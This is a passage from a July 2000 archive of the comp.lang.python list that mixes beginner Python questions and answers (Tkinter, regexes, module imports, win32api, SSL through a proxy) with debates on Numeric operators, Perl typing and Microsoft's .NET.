;on the user's machine, and there's no interference if they have 
;a different version of Python installed.
;
;- Gordon



__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail ? Free email you can access from anywhere!
http://mail.yahoo.com/



From jhe at webde-ag.de  Tue Jul 18 08:37:41 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Tue, 18 Jul 2000 14:37:41 +0200
Subject: hexidecimal output as default?
References: <3bRZA7$j9m@openbazaar.net>
Message-ID: <8l1ive$g0n$1@pollux.ip-plus.net>

<mkrisch at netscape.net.bbs@openbazaar.net> schrieb im Newsbeitrag
news:3bRZA7$j9m at openbazaar.net...
> what i really want is to get the following:
>
> >>> i = 0xa
> >>> i
> 0xa

Then write a HexInt class that overloads __str__ and __repr__, and use i =
HexInt(0xa). I see no other way.




From laurent8 at sxb.bsf.alcatel.fr  Wed Jul 12 02:58:23 2000
From: laurent8 at sxb.bsf.alcatel.fr (Frederic Laurent)
Date: Wed, 12 Jul 2000 08:58:23 +0200
Subject: simple (?) re question
References: <396B4DAE.3FEF0B0E@sxb.bsf.alcatel.fr> <3dr990zgxl.fsf@kronos.cnri.reston.va.us>
Message-ID: <396C170F.AFEB1442@sxb.bsf.alcatel.fr>

Andrew Kuchling wrote:

> You're using the wrong tool; regexes are very clumsy for this sort of
> thing.  Try looking at your regex using Demo/tkinter/guido/redemo.py
> to see how it matches; the first .* matches '/foo/bar/SCCS/s.file',
> the ?! expression matches nothing, and the second .* matches nothing.

ok I will see this sample, but I've got a problem with the init of the
Tkinter

-----------------
Python 1.5.2 (#2, Jun 22 2000, 10:49:11)  [GCC 2.8.1] on sunos5
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import _tkinter
>>> import Tkinter
>>> Tkinter._test()
Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File
"/users/public_w3p/share/python/Python-1.5.2/lib/python1.5/lib-tk/Tkinter.py",
line 1947, in _test
    root = Tk()
  File
"/users/public_w3p/share/python/Python-1.5.2/lib/python1.5/lib-tk/Tkinter.py",
line 886, in __init__
    self.tk = _tkinter.create(screenName, baseName, className)
TclError: Can't find a usable init.tcl in the following directories: 
    



This probably means that Tcl wasn't installed properly.
-----------------

I don't know where the python interpreter try to find the init.tcl file,
in which directories
it searches.
I've put this file in a directory included in the $PYTHONLIB, but it
doesn't work as you
can see, if you have an idea...




> Similar problem; the regex engine finds an alternative match.  Why not
> just write:
> 
> path, filename = os.path.split( filename )
> if 'SCCS' in string.split(path, os.pathsep):
>     # SCCS in path


I have make a sample as simple as possible in order to points out the
problem, and of course for a such simple thing I'd rather use the string
module, but my real code is more complex and I can't specialize it like
this.

> for the second?  Much clearer than a complicated regex which has to be
> analyzed to be understood, and it makes it more apparent that you're
> making a decision based on the path.

I want to use to regex module because I want to match thing like :
it begins with something "/foo" then there is something I don't care,
then I can find something like "F.?[0-9][\w*][.]/" and then something
I don't care and it will finish by a "java|py" string.
Of course, this is an example !

thanks for your answer.

-- 
Fr?d?ric LAURENT
mailto:frederic.laurent at sxb.bsf.alcatel.fr
T?l : (33) 03 88 55 70 00  poste 57228


From dberlin at redhat.com  Thu Jul 27 10:01:25 2000
From: dberlin at redhat.com (Daniel Berlin)
Date: 27 Jul 2000 10:01:25 -0400
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
In-Reply-To: "Mark Hammond"'s message of "Thu, 27 Jul 2000 00:24:51 GMT"
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au>
	<8ln84n$380$1@gaia.cdg.acriter.nl>
	<njLf5.12964$4p3.101185@news-server.bigpond.net.au>
Message-ID: <m2snsvhdu2.fsf@dan2.cygnus.com>

"Mark Hammond" <MarkH at ActiveState.com> writes:

> "Cees de Groot" <cg at gaia.cdg.acriter.nl> wrote in message
> news:8ln84n$380$1 at gaia.cdg.acriter.nl...
> 
> > ...and is soooo innovative that it does exactly the same thing as Java
> > and the JVM, only five years later and at the vaporware stage.
> 
> vaporware == beta distributed to thousands of people?  Since when?
> Anyway...
> 
> I think you should wait for the jury on this one.  There are alot of
> academics who have ported their languages to both the JVM and the .NET
> runtime.

I'm sure MS rewarded them, or their schools,  handsomely.
> 
> It is safe to say that no one I have met with experience in both these
> technologies shares your opinion.
> 
> People obviously _do_ share some general concerns about MS, but if you
> limit yourself to a discussion on the technical merits of these
> technologies, you wont find many people on your side of the debate.
> 
> Watching the reactions of the dyed-in-the-wool-MS-hating-academics was
> almost the most interesting part of this project.  Suffice it to say they
> started the project with their "Tux" t-shirts being worn proudly every
> (single, smelly :-) day, but by the time the PDC came around they were
> first in the queue for their .NET tshirts ;-)


This is what MS is very good at.
How do I know?

I worked for 3 years as part of Microsoft Research, among other
places,  in the student consultant group.
This was our job.
Us being the students at the 50 most respected CS schools (It's now
been expanded to be *much* larger).
Promote MS within our respective schools through any means possible.
This means MS would do everything, including giving multi-million
dollar grants and computer labs to schools, to convince CS professors,
and CS departments, to use MS software, in particular, the development
tools. You name it, we did it, to convince people it was good, and to
use it.
We were, and from what I understand, they still are, very successful.

However, working at MS gave me some perspective.
There are certain things you have to understand.

1. MS never has, and never will, do anything for the
customer. Regardless of what you think, the only reason they've ever
done anything is for themselves. It's only later that it might turn
out to be good for the customer. Witness Active Directory (really
created because MS had too many computers and users, and thus ran into
the limits of NT 4's model, and couldn't create new users and computer
accounts in the MICROSOFT domain), among a billion other examples.
If you think they did something for the customer, their was an
alterior motive. Trust me.

2. The answer to the question "How do you expect to enter a
marketplace, and become the leader, with a product half as good as
what is already out there?" is "We're Microsoft" (I'm not kidding
either, that was the answer I was given when I asked the question.)

3. MS has very smart people working for them, though not as many as
they used to (quite a lot have left, and are still leaving).  The
cause of most of the above problems is that middle management at MS,
like everywhere else, is  idiotic. If the smart people still ran the
company, and half of them  weren't amazingly arrogant, MS might be a
much nicer company.


I used to be exactly like you are now. Defending MS, but not an MS
lackey, trying to give them the benefit of the doubt. The more I
worked there, and saw how things were, the less I could do this, until
I just couldn't take the bullshit anymore and quit.




> 
> > (http://grunge.cs.tu-berlin.de/~tolk/vmlanguages.html, support /that/
> many
> > stuff on your little VM, M$).
> 
> I am sure they will, and I am sure the majority of language implementors
> will agree it is an improvement (again, if viewed purely from technical
> grounds)
> 
> > ... happily going back to Java, Python, SmallTalk, Scheme, XML and
> whatnot
> 
> Not sure what point you are trying to make here?  These, plus others, are
> also on .NET.  You should have listed languages that people have heard of,
> and are not announced for .NET.  Maybe you had the "TRS-80 Model 1 BASIC
> Interpreter" implementation in mind?
> 
> Mark.
> 

--Dan





From boncelet at eecis.udel.edu.bbs  Mon Jul 17 15:40:06 2000
From: boncelet at eecis.udel.edu.bbs (boncelet at eecis.udel.edu.bbs)
Date: 17 Jul 2000 19:40:06 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRNBA$l4T@openbazaar.net>

Bjorn Pettersen wrote:

>
> Perl, C++, Visual Basic, Java, and probably also Tcl are all more
> popular than Python. Are you suggesting we should add their special
> syntaxes/quirks just because a lot of people know them?

Not at all.  Python has a clean, simple syntax and I don't want to
clutter
it the way Perl, for one, has.  However, the Python community should
look at these other languages/domains and be willing to adopt the things

they have done right!

(The primary problem, as Huayiu keeps pointing out, is that linear
algebra
has two sets of operaters: those that work on elements and those that
work on whole matrices/vectors.  The main need is to distinguish these
two for multiplication.  If simple syntax for division--inversion--could

be defined, all the better.)

Why is it ordained that objects should have only two operations, "*" and
"+",
defined with simple operators?   "+" on strings means something entirely

different than "+" on numbers.  Why not add an "@" operator?  With some
thought, I'd wager that we could define useful meanings for []@[],
{}@{},
etc. And if not and the only problem domain that needs/wants a "@"
operator
is linear algebra, then just how much clutter are we talking about? Then
make
it available only when "import Numeric" is done.

My argument is that linear algebra is a *big* problem domain.  It should

not be dismissed as "just another problem."

Python could become the primary open source alternative to Matlab in
time
if a few changes were made: Incorporate numpy into the core distribution
(or
release a  distribution with it already embedded), simplify the syntax
for
matrix operations, and improve the help facility at the interpreter.

Matlab, of course, comes with numerous toolboxes that are unavailable in

numpy.  Early adoptors will have to write them--just as they do for
Matlab!
If you build it, they will come...

Python, because of its clean syntax, numpy, and existing
scientific/graphical tools
is better positioned than Perl, TCL, etc, to grab the linear algebra
users.

--
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/


From falk.lehmann at gmx.net  Thu Jul 13 14:07:48 2000
From: falk.lehmann at gmx.net (falk.lehmann at gmx.net)
Date: Thu, 13 Jul 2000 18:07:48 GMT
Subject: openssl 0.9.5a and python 1.6a2
Message-ID: <8kl0h4$pu6$1@nnrp1.deja.com>

I build python 1.6a2 and included the SSL support. I am using the
openssl library 0.9.5a on a NT box.

I tried to establish a SSL connection via a proxy using the following
lines of code:
==============================================
import urllib
f = urllib.urlopen('https://ecardfile.com/')
print f.read()
f.close()
==============================================
But the proxy replies with an error message:
==============================================
<HTML>
<HEAD><TITLE>Error</TITLE></HEAD>
<BODY>
<H1>Error</H1>
<BLOCKQUOTE><B>
<HR SIZE=4><P>
The requested item could not be loaded by the proxy.<P>
The certificate issuer for this server is not recognized by
Netscape. The security certificate may or may not be valid.

Netscape refuses to connect to this server.<P>

<HR SIZE=4>
</B></BLOCKQUOTE>

<P>
<ADDRESS>Proxy server at proxy on port 8080</ADDRESS>
</BODY></HTML>
===================================================

It seems that some certificate is missing. How do I make openssl aware
of the certificates delivered with the distribution? Or is the error
somewhere else?

Any ideas?

Falk


Sent via Deja.com http://www.deja.com/
Before you buy.


From jtschirr at engineering.uiowa.edu  Tue Jul 11 16:19:00 2000
From: jtschirr at engineering.uiowa.edu (jtschirr at engineering.uiowa.edu)
Date: Tue, 11 Jul 2000 15:19:00 -0500
Subject: Create wxBitmap from PIL
Message-ID: <396B8134.8E5426B9@engineering.uiowa.edu>

How can I create a wxBitmap image from a Python Imaging Library (PIL)
image?

Juerg


From darrell at dorb.com  Thu Jul  6 23:36:26 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Thu, 6 Jul 2000 20:36:26 -0700
Subject: splitting an avi image into a sequence of images with python?
References: <87em567urz.fsf@lumen.med.iupui.edu> <045101bfe7bf$3d639750$6401a8c0@home>
Message-ID: <047701bfe7c4$87d47fc0$6401a8c0@home>

Oops.
I didn't understand the requirements.
So you wanted to decode the AVI into the individual images.
No simple solution comes to mind. Sorry.

--Darrell

----- Original Message ----- 
From: "Darrell Gallion" <darrell at dorb.com>
To: <mmiller3 at iupui.edu>
Cc: "python" <python-list at python.org>
Sent: Thursday, July 06, 2000 7:58 PM
Subject: Re: splitting an avi image into a sequence of images with python?


> Here's a quick solution, with only a little testing.
> 
> --Darrell
> 
> ----- Original Message ----- 
> From: "Michael A. Miller" <mmiller3 at iupui.edu>
> Newsgroups: comp.lang.python
> To: <python-list at python.org>
> Sent: Thursday, July 06, 2000 3:34 PM
> Subject: splitting an avi image into a sequence of images with python?
> 
> 
> > I'd like to split some avi files into image sequences.  Is there
> > already a module out there that will help me do that?
> > 
> > Mike
> > 
> > -- 
> > Michael A. Miller                      mmiller3 at iupui.edu
> >   Krannert Institute of Cardiology, IU School of Medicine
> >   Indiana Center for Vascular Biology and Medicine
> > -- 
> > http://www.python.org/mailman/listinfo/python-list
> 




From robin at jessikat.fsnet.co.uk  Tue Jul 18 20:00:14 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Wed, 19 Jul 2000 01:00:14 +0100
Subject: zip or marry etc
In-Reply-To: <3974E341.58FC8939@roguewave.com>
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
 <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <3974E341.58FC8939@roguewave.com>
Message-ID: <sazKhIAO+Od5EwR6@jessikat.fsnet.co.uk>

In message <3974E341.58FC8939 at roguewave.com>, Bjorn Pettersen
<bjorn at roguewave.com> writes
>Robin Becker wrote:
>> 
>> I suppose there must be something desperately wrong with using the
>> __mul__ for sequences to indicate the set pairwise product. I would
>> certainly be for
>> 
>> x,y in A*B rather than x,y in zip(A,B) or marry(A,B), but since * is the
>> obvious operator it must be that someone else has reserved it.
>
>if A is of a class defining __mul__ (or B is of a class defining
>__rmul__) you'll have problems.
>
>How about A @ B... <wink>
>
>running-and-hiding'ly y'rs
>-- bjorn
>
I thought maybe these were just lists or tuples sigh :(
-- 
Robin Becker



From Gareth.McCaughan at pobox.com  Sat Jul 29 09:52:46 2000
From: Gareth.McCaughan at pobox.com (Gareth McCaughan)
Date: Sat, 29 Jul 2000 14:52:46 +0100
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com>
Message-ID: <slrn8o5ode.1di7.Gareth.McCaughan@g.local>

Steve Lamb wrote:
>>> it is 1 and it can be all of those all on context.
> 
>> In Python, and most programming languages that have some notion of type,
>> it is an integer.  If you wanted a string, then you'd have typed '1', or
>> converted it to a string with `1` or repr(1) or str(1).
> 
>     Most, not all.  Again, I ask, as a /human/.  Not as a computer,
> calculator, dog, fish, pet rock, face on mars, some gas creature in
> delta-theta 3 (word up, gass monster) or almond, is 1 a character a string an
> integer a floating point number or what?  If you have problems ask about 2
> dozen people off the street what 1 is with that question and see how many
> puzzled looks you get.

If you ask them "Is 1 an integer or a string or a character or
a sequence"? Yes, they'd give you strange looks. Mostly because
they wouldn't know what you meant. If you went up to 24 people
in the street in, say, London, and asked "Un loup, c'est plus
comme un chien ou comme un chat?"[1] they'd mostly be baffled
too, for the same reason: they wouldn't speak the language.
Likewise if you asked them a technical question from some
other discipline (sticking to ones that somewhat resemble
the question you asked, consider "Is 1 an equivalence class
under equipollence, or a von Neumann ordinal, or something
else?", which would make excellent sense to a mathematical
logician).

Conclusion: Asking technical questions of random people on
the street is a poor way to get useful answers.

                           *

Deciding what things mean according to context would be
very cool if any computer could really do it the way people
do. Unfortunately, they can't. The approximations they
*can* manage are simple enough to mean that they break
sometimes, and complicated enough to make it hard to be
sure whether they're going to break. This is not, for
me at least, a good combination.

It's nice, sometimes, that Perl can use a "123" found in
a string and use it as a number. But the downside of this
kind of guesswork is that instead of having to remember
to say "this is a number" when you get hold of it, you
have to remember whether you're dealing with a number
or a string when you do comparisons, and that sometimes
(I've mercifully erased the details from my brain) you
need to add 0 to an object just to make *sure* Perl
treats it as a number, and so on and so on. This works
OK for small programs, where most of the time it guesses
right and when it doesn't there isn't too much code to
dig through. It's much, much nastier when your programs
grow beyond a few hundred lines.

                           *

[1] Pardon my dodgy French. Anyone whose French is even
    dodgier than mine may need to be told that it means
    "Is a wolf more like a dog or like a cat?". The fact
    that most people in London wouldn't understand the
    question doesn't mean that the distinction is meaningless
    to the average person.

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From neilh at scintilla.org  Mon Jul 10 07:02:33 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Mon, 10 Jul 2000 11:02:33 GMT
Subject: Windows API
References: <20000710070313.13010.qmail@web3406.mail.yahoo.com>
Message-ID: <d3ia5.12671$Tb7.85857@news-server.bigpond.net.au>

> I am very new to Python and I am waiting for my first
> book. I would like to ask you how to use Windows API
> in Python?. With an example please.

   You should grab Mark Hammond's Win32 extensions from
http://starship.python.net/crew/mhammond/
    which includes the Pythonwin development environment.

    For an example, start Pythonwin, and you should an Interactive Window.
Into that window type (just the bit after ">>>"):
>>> import win32api
    this loads definitions of the core Windows API.
    Then call an API with
>>> win32api.Beep(3000,300)
    As you press the "." a list of the available calls should appear. You
can continue typing or select an item and press Tab to enter that item.
    Pressing enter after this typing will execute the code and produce a
noise - hope you have a sound card.

    The online help lists all of the APIs wrapped by the Win32 extensions
which includes a good proportion of the entire Win32 API. For complete
descriptions of each API, you will want access to MSDN, either online at
http://msdn.microsoft.com or by downloading the Platform SDK from the same
site. There is a book by Mark and Andy called "Python Programming on Win32"
which contains a lot of pages and a decent cover illustration.

   Neil




From bjorn at roguewave.com  Wed Jul  5 18:05:50 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Wed, 05 Jul 2000 16:05:50 -0600
Subject: cleanup order
References: <Pine.LNX.4.21.0007052319220.5959-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <3963B13E.8E77CC19@roguewave.com>

Johannes Zellner wrote:
> 
> Hi,
> 
> suppose I've
> 
>     # fred provides `fun'
>     import fred
> 
>     class Lola:
>         def __init__(self, x):
>             self.x = x
>         def __del__(self):
>             fred.fun(self.x)
> 
>     x = Lola('hello')
>     # end of script
> 
> this doesn't work, because fred is not present any more
> when x is destroyed. I don't know anything about python's
> internals, but I guess the dynamical loaded shared object's
> function table is destroyed (somehow) before x is destroyed.
> 
> Any comments ? (or even workarounds ?)

This should work:

   ...
   def __del__(self, fun=fred.fun):
      fun(self.x)

it's using a default argument to make sure the reference count to
fred.fun doesn't reach zero until the Lola instance is deleted.

-- bjorn



From aaron.ginn at motorola.com  Fri Jul 14 15:59:00 2000
From: aaron.ginn at motorola.com (Aaron Ginn)
Date: 14 Jul 2000 12:59:00 -0700
Subject: Importing modules...
Message-ID: <snhf9sfpq3.fsf@motorola.com>

My apologies if this has been asked before.  If so, please direct me to
a FAQ.  I checked Deja, but I couldn't find my answer very easily...

How do I import a module that I have written?  Say I have a class that
I have created called Foo in a file stored at ~/bin/foo.py.  What kind
of command do I need to use to be able to import that class into a new
file.  I've tried the following:

import '~/bin/foo.py'

but this doesn't seem to be the way to do it.  Do I need to set a path
variable with ~/bin in it, and if so, how do I refer to the module?
Is it the name of the file, i.e. foo?  Or is it the name of the class,
i.e. Foo?  Do the class and the file need to have the same name?  I
don't really know how to accomplish this.

Thanks,
Aaron

-- 
Aaron J. Ginn                     Motorola SPS
Phone: (480) 814-4463             SemiCustom Solutions
Fax:   (480) 814-4058             1300 N. Alma School Rd.
mailto:aaron.ginn at motorola.com    Chandler, AZ 85226


From jtoy at tcgfinancial.com  Wed Jul 19 17:32:17 2000
From: jtoy at tcgfinancial.com (jtoy)
Date: Wed, 19 Jul 2000 17:32:17 -0400
Subject: newb question
Message-ID: <39761E61.1E2191B4@tcgfinancial.com>

Can you tell me how I can make a python program find the IP address of
the local machine?  If possible, I would like to make this not matter
what OS its on( i want it to work on windows and Unix/Linux/BSD).
Second, can you tell me how I could run this program as a dameon, again
not OS dependent, because while I know you can put a Python script in
cron,  how can you do the same with windows?
Third, how can I make Python recognize what OS its on, that wat if I
can't do the above 2 questions withouot being OS dependent, then I will
do somethin like: if OS == x then do else OS == z do
Thanks for your time.



From hat at se-46.wpa.wtb.tue.nl  Fri Jul 14 09:55:46 2000
From: hat at se-46.wpa.wtb.tue.nl (Albert Hofkamp)
Date: 14 Jul 2000 13:55:46 GMT
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <396EE7BC.DA2FA7B3@darwin.in-berlin.de> <8kmtab$4or$1@pollux.ip-plus.net> <396F131C.4AD83C8A@memo.volvo.se>
Message-ID: <slrn8muakn.uv6.hat@se-46.wpa.wtb.tue.nl>

On Fri, 14 Jul 2000 13:19:00 +0000, PM <vtbl.moorepe at memo.volvo.se> wrote:
>I should like it to kick c#'s butt, perhaps

People who fall for that trap don't deserve to be rescued.


Albert
---
Look ma, windows without Windows !!


From grey at despair.rpglink.com  Fri Jul 28 01:03:31 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 05:03:31 GMT
Subject: Perl is worse! (was: Python is Wierd!) 
References: <200007280416.OAA31003@envy.fulcrum.com.au>
Message-ID: <slrn8o24t1.e7.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 14:16:01 +1000, Richard Jones
<Richard.Jones at fulcrum.com.au> wrote:
>   Eh? You're comparing the assignment operation - the placing of a label on
>an object - with the automagical creation of an object? How is:

    No, the statement was the automagical type changing of Perl.  How is the
casting of a variable's type based on context any different than (re)casting
it based on context?  Esp. when Python does do some recasting as needed for
certain operations.


-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From bjorn at roguewave.com  Fri Jul 14 19:23:29 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 14 Jul 2000 17:23:29 -0600
Subject: Importing modules...
References: <snhf9sfpq3.fsf@motorola.com>
Message-ID: <396FA0F1.A8B0CD86@roguewave.com>

Aaron Ginn wrote:
> 
> My apologies if this has been asked before.  If so, please direct me to
> a FAQ.  I checked Deja, but I couldn't find my answer very easily...
> 
> How do I import a module that I have written?  Say I have a class that
> I have created called Foo in a file stored at ~/bin/foo.py.  What kind
> of command do I need to use to be able to import that class into a new
> file.  I've tried the following:
> 
> import '~/bin/foo.py'
> 
> but this doesn't seem to be the way to do it.  Do I need to set a path
> variable with ~/bin in it, and if so, how do I refer to the module?
> Is it the name of the file, i.e. foo?  Or is it the name of the class,
> i.e. Foo?  Do the class and the file need to have the same name?  I
> don't really know how to accomplish this.

_Please_ go "read the fine manual"!

-- bjorn

ps: Python searches a list of directories in sys.path originally
initialized from the PYTHONPATH environment variable. The import
statement only mentions the name of the module, without quotes or
extensions; that way the import framework has a chance to do
interesting/important stuff before your module is loaded.



From Pahud.bbs at openbazaar.net  Wed Jul 19 01:24:36 2000
From: Pahud.bbs at openbazaar.net (©¬­J¼w)
Date: 19 Jul 2000 05:24:36 GMT
Subject: [Apology] Duplicate posts from OpenBazaar
Message-ID: <3bSRk9$lPa@openbazaar.net>

Greetings,

   I am the administrator of openbazaar.net.  Due to the faulty setting of
our news server, a huge amount of articles were fed back to the usenet
yesterday.  We hereby sincerely apologize for our serious mistake.  And
we will try everything out not let this kind of disaster happen again.

--
Patrick Hsieh <pahud at python.nu>
OpenBazaar BBS <openbazaar.net>
TEL 0933201800
--
?? Origin: ???????u <linux.twbbs.org> 
?? From: 211.72.165.181


From tim_one at email.msn.com  Fri Jul 28 20:02:39 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Fri, 28 Jul 2000 20:02:39 -0400
Subject: Content of the Perl6 talk
In-Reply-To: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEMDGMAA.tim_one@email.msn.com>

[posted & mailed]
[Cameron Laird]
> <URL:http://deja.com/=dnc/getdoc.xp?AN=651665267> is the most pro-
> vocative summary I've yet seen of Larry Wall's talk at the O'Reilly
> Open Source Convention. ...
> I applaud Conrad Schneiker for his care in preparing this.

Actually, the content of Conrad's referenced post (excepting the Ruby
advocacy) appears to be taken verbatim from Adam Turoff's excellent p5p mtg
notes, at:

    http://www.perl.org/perl6/pr/initial_meeting.html

No knock at Conrad, but it could have been attributed better.

I certainly wish them well!  In my experience, projects that aim to expand
functionality while reducing size and increasing speed are doomed to succeed
<wink>.

maybe-we'll-rename-python2-to-perl6-ly y'rs  - tim





From peter at schneider-kamp.de  Tue Jul 18 20:16:02 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Wed, 19 Jul 2000 00:16:02 +0000
Subject: merging numpy's array into python2
References: <8l27h4$7vq$1@la-mail4.digilink.net>
Message-ID: <3974F342.1283FD9F@schneider-kamp.de>

Pete Shinners wrote:
> 
> i find using the numerical array stuff to be so useful i was
> wondering if there are ever plans to implement some of the
> package into the standard python release?
> 
> specifically, the array object and it's helpful ufuncs would
> be great addition to the standard release (imho)

That's my opinion, too. I just started a discussion
on python-dev, so have some patience while they are
taking me apart ;-)

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From see at my.signature  Wed Jul 12 20:17:23 2000
From: see at my.signature (Greg Ewing)
Date: Thu, 13 Jul 2000 12:17:23 +1200
Subject: File IO with select?
References: <396BBCE9.2C114ED3@tgflinux.com>
Message-ID: <396D0A93.53366320@my.signature>

Jared Lee Peterson wrote:
> 
> I am trying to syncronize two clients that are accessing the same file.
> I am trying to use
> select() for this but I am not having much luck.

select() is useless for that, because reading from an
ordinary file never blocks, so select() will always
return immediately.

On unix, the only portable way is to periodically
poll the file to see if it has grown. I gather that
there is another way on Windows, but I don't know
any details.

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From max at alcyone.com  Tue Jul 11 01:26:32 2000
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 10 Jul 2000 22:26:32 -0700
Subject: Language Challenge -- Results
References: <396A493A.DE1DF77B@sdynamix.com> <B59016E2.6043%dgoodger@bigfoot.com>
Message-ID: <396AB008.FAA67DD9@alcyone.com>

David Goodger wrote:

> But seriously (my comments above were in good fun, I assure you, no
> harm
> intended), I read this newsgroup regularly and I never saw mention of
> the
> Language Challenge 2000. Did I miss it? Perhaps the audience
> determined the
> outcome?

I saw the announcement in another newsgroup (just started reading
comp.lang.python); it was either in a C or C++ newsgroup, or a Linux or
UNIX newsgroup.  I had a similar reaction to you upon reading about it.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ You must surely know / If man made Heaven, then man made Hell
\__/ Level 42
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.


From ruud.cox at philips.com.bbs  Mon Jul 17 04:00:04 2000
From: ruud.cox at philips.com.bbs (ruud.cox at philips.com.bbs)
Date: 17 Jul 2000 08:00:04 GMT
Subject: Tkinter and absolute positioning
Message-ID: <3bR504$ifo@openbazaar.net>

Is there a way to position child widgets on a TopLevel
widget using absolute coordinates instead of using pack,
place or grid?

Ruud Cox



Sent via Deja.com http://www.deja.com/
Before you buy.


From bos at hack.org  Mon Jul 31 17:55:41 2000
From: bos at hack.org (Rikard Bosnjakovic)
Date: Mon, 31 Jul 2000 23:55:41 +0200
Subject: removing characters from a string?
References: <8m4rqn+jpg0@eGroups.com>
Message-ID: <3985F5DD.CB1BB073@hack.org>

jesse at multimediacollective.com wrote:

> this_string = "jesse at multimediacollective.com"
> """and I wanted to get rid of the @, how would I do that? This

string.join(string.split(this_string, "@"), "")


-- 
Rikard Bosnjakovic - http://a214.ryd.student.liu.se

Anyone sending unwanted advertising e-mail to my address will be
charged $25 for network traffic and computing time. By extracting my
address from this message or its header, you agree to these terms.


From lull at acm.org  Fri Jul 21 09:00:38 2000
From: lull at acm.org (John Lull)
Date: 21 Jul 2000 08:00:38 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com> <39774EFA.62287E6E@nih.gov> <ueefns037mjarv63dqpbh52mmr1k6vvaop@4ax.com> <%_Rd5.36763$6y5.24594893@news2.rdc2.tx.home.com>
Message-ID: <2phgnsggotp06hqupksikf6shfchnsnke9@4ax.com>

"Rainer Deyke" <root at rainerdeyke.com> wrote (with possible deletions):

> This would allow constructs such as:
> 
> A(.init)B

Is this really a problem?  If someone rally *wants* to write obscure
or unreadable code, there's little we can do to stop them.

Regards,
John


From bill at dehora.fsnet.co.uk  Wed Jul 19 17:09:31 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Wed, 19 Jul 2000 22:09:31 +0100
Subject: agents
Message-ID: <8l55hg$6ia$1@newsg1.svr.pol.co.uk>

Before I go off and start these myself, is anyone working on Agent
frameworks and or tuple spaces (Linda-alikes) in Python?

-Bill de h?ra





From johngrayson at home.com  Mon Jul 10 14:24:58 2000
From: johngrayson at home.com (John Grayson)
Date: Mon, 10 Jul 2000 18:24:58 GMT
Subject: Tkinter: buttons are dead of tkFileDialog.askopenfilename
References: <3969F138.4EFE768E@acm.org>
Message-ID: <8kd4d5$1d4$1@nnrp1.deja.com>

In article <3969F138.4EFE768E at acm.org>,
  John Powers <jpowers at acm.org> wrote:
>
> --------------0EF7BCC78CC8B59055EF54F1
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
>
> I have a simple Python script to illustrate a problem I'm having with
> askopenfilename. The following program displays a window with a "Quit"
> button. The "Quit" button works until you uncomment the statement
which
> calls askopenfilename. After selecting a file from the Open Dialog
box,
> the button window appears but the "Quit" button is dead -- absolutely
no
> response to pressing it. What's up? Maybe I shouldn't be calling
> askopenfilename while initializing App?

Fairly simple problem... You need to ensure that the mainloop is
spinning before you show the dialog. One way to do this is to delay
the dialog for a few milliseconds...

> from Tkinter import *
import tkFileDialog

class App(Tk):

  def __init__(self):
    Tk.__init__(self)
    filename = "filename"
    Label(self, text=filename).pack()
    Button(self, text="Quit", command=self.quit).pack()

    self.after(5, lambda s=self, f=filename: s.ask(f))

  def ask(self, filename):
    tkFileDialog.askopenfilename(initialfile=filename)

App().mainloop()



  John


Sent via Deja.com http://www.deja.com/
Before you buy.


From hsl at tcp.co.uk  Mon Jul 10 09:19:07 2000
From: hsl at tcp.co.uk (Martin Rand)
Date: Mon, 10 Jul 2000 14:19:07 +0100
Subject: Is there any grid/table in Tkinter ?
